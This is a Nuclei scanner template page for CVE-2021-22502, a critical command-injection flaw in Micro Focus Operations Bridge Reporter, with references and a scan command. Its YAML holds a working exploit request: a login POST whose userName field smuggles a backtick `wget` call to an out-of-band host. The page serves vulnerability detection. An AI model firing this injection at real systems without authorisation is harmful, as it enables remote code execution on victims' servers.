Skip to content
Nuclei Templates

Micro Focus Operations Bridge Reporter - Remote Code Execution

ID: CVE-2021-22502

Severity: critical

Author: pikpikcu

Tags: cve2021,cve,microfocus,obr,rce,kev

Description

Section titled “Description”

Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2021-22502


info:
  name: Micro Focus Operations Bridge Reporter - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Micro Focus Operations Bridge Reporter 10.40 is susceptible to remote code execution. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials.
  remediation: |
    Apply the latest security patches or updates provided by Micro Focus to mitigate this vulnerability.
  reference:
    - https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md
    - https://softwaresupport.softwaregrp.com/doc/KM03775947
    - https://www.zerodayinitiative.com/advisories/ZDI-21-153/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22502
    - https://www.zerodayinitiative.com/advisories/ZDI-21-154/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22502
    cwe-id: CWE-78
    epss-score: 0.96085
    epss-percentile: 0.99492
    cpe: cpe:2.3:a:microfocus:operation_bridge_reporter:10.40:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microfocus
    product: operation_bridge_reporter
  tags: cve2021,cve,microfocus,obr,rce,kev


http:
  - raw:
      - |
        POST /AdminService/urest/v1/LogonResource HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json


        {"userName":"something `wget {{interactsh-url}}`","credential":"whatever"}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"


      - type: word
        part: body
        words:
          - "An error occurred"
          - "AUTHENTICATION_FAILED"
        condition: and


      - type: word
        part: header
        words:
          - "application/json"


      - type: status
        status:
          - 401
# digest: 4a0a0047304502206bbcf85815e5f0536cc58dfba3c7d93f6942a3d681799fcc412ed193ace205bc0221009cbe5d7fc18d0fee490123bfd3cd05bcbd231fd3ce5edbe99c98a53acdd735ea:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-22502.yaml"

View on Github